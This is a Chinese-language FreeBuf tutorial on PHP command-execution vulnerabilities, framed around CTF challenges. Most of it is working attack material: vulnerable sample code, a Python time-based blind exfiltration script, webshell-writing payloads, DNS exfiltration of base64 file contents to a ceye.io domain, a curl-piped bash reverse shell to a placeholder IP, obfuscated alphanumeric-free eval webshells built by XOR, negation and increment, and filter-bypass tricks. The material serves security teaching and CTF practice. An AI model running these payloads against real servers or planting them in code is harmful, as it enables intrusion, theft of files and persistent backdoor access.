freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

PHP 命令执行详解
ye1s 2021-11-06 10:08:52 177480

0x1 相关函数

PHP 中常见的代码命令执行函数

0x1.1 代码执行

1
2

0x1.2 命令执行

3

还有另外两个函数

proc_open()

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

cmd是要执行的命令,其余见文档

<?php
	$command='whoami';
    $descriptorspec=array( 
        0=>array('pipe','r'), 
        1=>array('pipe','w'),
        2=>array('pipe','w') 
    );
    $handle=proc_open($command,$descriptorspec,$pipes,NULL);
    if(!is_resource($handle)){
    	die('proc_open failed');
    }
    while($s=fgets($pipes[1])){
    	print_r($s);
    }
    while($s=fgets($pipes[2])){
    	print_r($s);
    }
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($handle);
?>

ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

<?php
    ob_start("system");
    echo "whoami";
    ob_end_flush();
?>
//输出www-data

0x2 无回显命令执行

示例代码

<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
	shell_exec($_GET['cmd']);
}
?>

shell_exec函数执行后,是没有回显输出的

0x2.1 判断方式

1.延迟

?cmd=sleep 3

通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行,延迟3秒

2.HTTP请求

(1).在公网服务器监听监听端口

nc -lvp 4444

(2).向目标服务器发起http请求,执行curl命令

?cmd=curl ip:4444

如果向目标服务器发起http请求后,公网服务器监听端口得到一些信息,就证明测试点存在命令执行漏洞

3.DNS 请求

dnslog

?cmd=ping 9y8y3k.dnslog.cn

0x2.2 利用方式

0x2.2.1 执行命令

1.使用>或>>

?cmd=cat flag.php >flag.txt

2.mv 或 cp

?cmd=mv flag.php flag.txt

?cmd=cp flag.php flag.txt

3.打包压缩

(1)tar打包或tar打包并压缩

tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php

(2)zip压缩

zip flag.zip flag.php

4.cut and sleep

sed指定读取文件的第几行

cat flag.php | sed -n '2p’

提取每一行的第3个字节

cut -b 3 flag文件

最后

cat flag.php | sed -n '2p' |cut -b 1

exp

import requests
import time
url="http://targetip/"
flag=""
for i in range(6,65):
    for j in range(32,127):
        data="a=`cat flag.php | sed -n '2p' |cut -b {}`;[ $a = \"{}\" ] %26%26 sleep 1".format(i,chr(j))
        #print(data)
        start_time=time.time()
        requests.post(url=url,data={"cmd":data})
        end_time = time.time()
        spend_time = end_time - start_time
        if spend_time>1:
            flag += chr(j)
            print(flag)

0x2.2.2 写webshell

直接写入

?cmd= echo "<?php @eval(\$_POST[9415]); ?>" > webshell.php

外部下载

?cmd=wget 网址 -O webshell.php

0x2.2.3 Dnslog

1.命令执行时要避免空格,空格会导致空格后面的命令执行不到;

2.将读取的文件命令用反引号``包含起来;

3.拼接的域名有长度限制

curl `cat<flag.php|base64`.awa4xw.ceye.io

0x2.2.4 反弹shell

1.首先在服务器用nc监听端口

nc -lvp 4444

2.然后在服务器上 开个web服务(8000端口),写一个文件(1.txt文件),内容如下

bash -i >& /dev/tcp/x.x.x.x/4444 0>&1

3.执行payload

?cmd=curl x.x.x.x:8000/1.txt|bash

0x3有限字符下的命令执行

示例代码

<?php
highlight_file(__FILE__);
if(strlen($_GET[1])<15){
    echo strlen($_GET[1]);
    echo shell_exec($_GET[1]);
}else{
    exit('too long');
}

上面代码限制了14个字符,但是没有限制命令执行的次数,所以可以通过Linux下的>符号与>>符号写入一段一句话木马到指定文件。

<?php
eval(
$_GET
[1]
);

经测试上述这样的一句话木马(经过换行)是可以命令执行的,所以可以通过传参构造出这样的一句话木马,不断传入以下Payload:

echo \<?php>1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php

还有限制了7位、5位、4位字符的情况,详情可看此文章:http://purplet.top/2020/12/28/%E6%9C%89%E9%99%90%E5%AD%97%E7%AC%A6%E4%B8%8B%E7%9A%84%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%80%BB%E7%BB%93/

0x4 无字母数字webshell

示例代码

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
    eval($_GET['shell']);
}

上面的代码不能传入字母和数字,那该如何操作,有如下四种方式

0x4.1 异或

<?php
echo "."^"~";
# 运行结果为:P

在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串 。

找到两个非数字和字母的字符,异或的结果为我们想要的字符串,可用如下脚本生成。

from urllib import parse
def get_xor(string):
    result=''
    for i in string:
        flag = 0  # 判断是否有找到符合条件的
        for j in range(127):
            if word_filter(j):
                continue
            if flag:
                break
            for k in range(127):
                if word_filter(k):
                    continue
                if j^k==ord(i):
                    result+="('{0}'^'{1}').".format(is_urlencode(j),is_urlencode(k))
                    flag=1
                    break
    print(result[0:len(result)-1])
def word_filter(num):#判断是否是字母和数字
    word=chr(num)
    if word.isdigit() or word.isalpha() or word=="\\":
        return True
    return False
def is_urlencode(num):#对不可打印字符进行url编码
    if num<32:
        return parse.quote(chr(num))
    else:
        return chr(num)
get_xor("assert")
get_xor("POST")

payload

<?php
$_=('%01'^'`').('%08'^'{').('%08'^'{').('%05'^'`').('%09'^'{').('%08'^'|'); // $_='assert';
$__='_'.('%0B'^'[').('%0F'^'@').('%08'^'[').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

4

0x4.2取反

先了解一下取反的相关知识

  1. 二进制的最高位是符号位,0表示正数,1表示负数。

  2. 正数的原码,反码,补码都一样。

  3. 负数的反码=它的原码符号位不变,其它位取反(0->1,1->0)。

  4. 负数的补码=它的反码+1。

  5. 0的反码,补码都是0.

  6. php没有无符号数,换言之,php中的数都是有符号的。

  7. 在计算机运算的时候,都是以补码的方式来运算的,那么运算完后得到的结果也是某个数的补码

例子:

<?php
echo ~8;
?>
运行结果:-9

-9的由来

8的原码、反码、补码都是 :

00000000 00000000 00000000 00001000

取反(即~8)后得到:

11111111 11111111 11111111 11110111  //第一位是符号位,1代表负号,表示这是一个负数;记住运算和运算结果都是用补码表示的,这是某个数的补码,我们还需要推导反码和原码

反码=补码-1,即:

11111111 11111111 11111111 11110110

原码(符号位不变,其他位取反):

10000000 00000000 00000000 00001001

所以结果是:-9

1.直接对字符串进行取反

<?php
echo urlencode(~"phpinfo");
#%8F%97%8F%96%91%99%90
<?php
echo urlencode(~"system")."\n";
echo urlencode(~'whoami')."\n";
#%8C%86%8C%8B%9A%92
#%88%97%90%9E%92%96

payload:

?shell=$_=~%8F%97%8F%96%91%99%90;$_();

?shell=$_=~%8C%86%8C%8B%9A%92;$__=~%88%97%90%9E%92%96;$_($__);

5

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

?shell=(~%8F%97%8F%96%91%99%90)();

?shell=(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);

6

2.利用UTF-8编码的某个汉字,将其中某个字符取出来

<?php
echo ~('和'{2});
#s

用下面的脚本从汉字中找出字符串的每个字符

<?php
//得到一些汉字
function getCChar(){
    $url="https://www.zuozuovera.com/archives/787/";
    $html=file_get_contents($url);
    //print($html);
    return $html;


}
//寻找汉字中跟字母相等
function getNegate($s,$t){
    $arr=array(1=>'$_',2=>'$__');
    for($i=1;$i<strlen($s);$i++){
        if(~($s{$i})===$t){
            return sprintf('$___="%s";$____.=~($___{%s});',$s,$arr[$i]);
        }
    }
    return "1";
}
// /u表示把字符串当作utf-8处理,并把字符串开始和结束之前所有的字符串分割成数组
function mb_str_split( $string ) {

    return preg_split('/(?<!^)(?!$)/u', $string );
}

function getPayload($string){
    $result='';
    $cchar=getCChar();
    for($i=0;$i<strlen($string);$i++) {
        foreach(mb_str_split($cchar) as $c){
            $word=getNegate($c,$string[$i]);
            if($word!="1"){
                $result.=$word;
                break;

            }
        }

    }
    print($result);
    print("\n");
}
getPayload("assert");
getPayload("POST");
?>

payload

<?php
$__=('>'>'<')+('>'>'<');//2
$_=$__/$__;//1

$____='';
$___="实";$____.=~($___{$__});$___="二";$____.=~($___{$__});$___="二";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="不";$____.=~($___{$__});$___="事";$____.=~($___{$__});//assert

$_____='_';
$___="说";$_____.=~($___{$_});$___="记";$_____.=~($___{$__});$___="笔";$_____.=~($___{$_});$___="快";$_____.=~($___{$__});//_POST

$_=$$_____;
$____($_[_]);//assert($_POST[_])

这里利用了PHP弱类型特性,true的值为1,故true+true==2。

<?php
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)
#结果会输出:2 1

7

0x4.3 自增

8

例子:’a’++ => ‘b’,‘b’++ => ‘c’

如果我们想构造任意的函数的话,我们得从A开头,这样我们才能借此构造任意的字符,拼接成任意的函数。

那我们如何拿到A呢?

p神的答案:

数组(Array)的第一个字母就是大写A,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

<?php
echo ''.[];
#Array

p神的payload

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

0x4.4 通配符

PHP使用“反引号”+“shell”的方式来getshell

shell下可以利用.来执行任意脚本Linux文件名支持用glob通配符代替.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

glob通配符:

1.*可以代替0个及以上任意字符

2.?可以代表1个任意字符

3.用[^x]的方法来构造“这个位置不是字符x”

4.[0-9]来表示一个范围

更多glob内容可看:https://man7.org/linux/man-pages/man7/glob.7.html

津门杯线上赛hatephp:

因为过滤了$,就无法使用异或、自增,该环境为php5,所以取反也无法使用,这里可以使用通配符 用/???/??? /???? 匹配 /bin/cat /flag

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!'); 
    }
    eval($code);
}

payload

?code=?><?=`/???/??? /????`?>

0x5 命令执行绕过

0x5.1 linux 相关命令

一般都是在linux环境中,我们先了解一下linux一些常用的命令

查看文件

cat     由第一行开始显示内容,并将所有内容输出
tac     从最后一行倒序显示内容,并将所有内容输出
more    根据窗口大小,一页一页的现实文件内容
less    和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head    只显示头几行
tail    只显示最后几行
nl      类似于cat -n,显示时输出行号
tailf   类似于tail -f 
od   指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来
sort  将文本文件内容加以排序
rev  命令将文件中的每行内容以字符为单位反序输出
strings 打印文件中可打印的字符
cut -f 1 filename 从文件的每一行剪切字节、字符和字段并将这些字节、字符和字段写至标准输出

查找文件

find . -name "fla*" 
locate fla*  locate 命令无需指定路径,直接搜索即可.而是在一个叫
mlocate.db 的数据库下搜索。这个数据库位于
/var/lib/mlocate/mlocate.db ,它包含了系统里所有文件的索引,并且会在每
天早上的时候由 cron 工具自动更新一次,可以 sudo updadb 更新其数据库

which 命令主要用来查找可执行文件的位置 
whereis 命令会在系统默认安装目录(一般是有root权限时默
认安装的软件)查找二进制文件、源码、文档中包含给定查询
关键词的文件。

寻找文件内容

grep -ar fla* /    -a不忽略二进制文件

文件传输

curl 

利用curl下载文件。
#使用内置option:-o(小写)
# curl -o dodo1.jpg http:www.linux.com/dodo1.JPG
#使用内置option:-O(大写)
# curl -O http://www.linux.com/dodo1.JPG

列目录

ls dir

命令分隔符

%0a符号   换行符
%0d符号  回车符
;符号 在 shell 中,担任"连续指令"功能的符号就是"分号"
&符号  & 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个'&'实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息
 |符号 管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
&& 表示前一条命令执行成功时,才执行后一条命令
|| 表示上一条命令执行失败后,才执行下一条命令
命令终止符  %00%20#

0x5.2 过滤绕过

首先我们可以写给脚本,看一下未被过滤的字符

<?php
$cmd='0a|09|ls|rm|sleep|sh|base|bash|grep|nc|ping|curl|cat|tac|od|more|less|dir|cut|nl|vi|unique|head|tail|sort|rev|string|find|$|(|)|[|]|{|}|>|<|?|\'|"|*|;|\||&|/|^|+|\\\\';
$filter='| |_|php|;|~|\\^|\\+|eval|cat|tac|rev|nl|head|tail|sort|{|}';#被过滤的字符
function check($filter,$input){
	#print($input);
    if(!stripos($filter,$input)){
        // if(preg_match("/'| |_|=|php/",$input)){

       echo $input;
        echo "\n";
    }
}
$cmds=explode('|', $cmd);
foreach ($cmds as $value) {
	
	check($filter,$value);
	
}

1.过滤空格

(1).${IFS}

$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

kali@kali:/$ cat flag
flag{this_is_flag}
kali@kali:/$ cat${IFS}flag
flag{this_is_flag}
kali@kali:/$ cat${IFS}$9flag
flag{this_is_flag}
kali@kali:/$ cat$IFS$9flag
flag{this_is_flag}

(2).重定向符<>

kali@kali:/$ cat<flag
flag{this_is_flag}
kali@kali:/$ cat<>flag
bash: flag: Permission denied

2.黑名单绕过

(1).拼接

kali@kali:/$  a=c;b=at;c=flag;$a$b $c
flag{this_is_flag}

(2).base64编码

kali@kali:/$ `echo "Y2F0IGZsYWc="|base64 -d`
flag{this_is_flag}
kali@kali:/$ echo "Y2F0IGZsYWc="|base64 -d|bash
flag{this_is_flag}

(3).单引号、双引号

kali@kali:/$ ca""t flag
flag{this_is_flag}
kali@kali:/$ cat cat f""lag
cat: cat: No such file or directory
flag{this_is_flag}
kali@kali:/$ ca''t fl""ag
flag{this_is_flag}

(4).反斜线 \

kali@kali:/$ c\at fl\ag
flag{this_is_flag}

参考文章:

http://purplet.top/2020/12/28/%E6%9C%89%E9%99%90%E5%AD%97%E7%AC%A6%E4%B8%8B%E7%9A%84%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%80%BB%E7%BB%93/
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://github.com/CHYbeta/WAF-Bypass/blob/master/ming-ling-zhu-ru/rao-guo-fang-fa.md

# web安全 # php # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 ye1s 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
ye1s LV.2
这家伙太懒了,还未填写个人描述!
  • 2 文章数
  • 1 关注者
PHP反序列化从0到1
2021-11-22
文章目录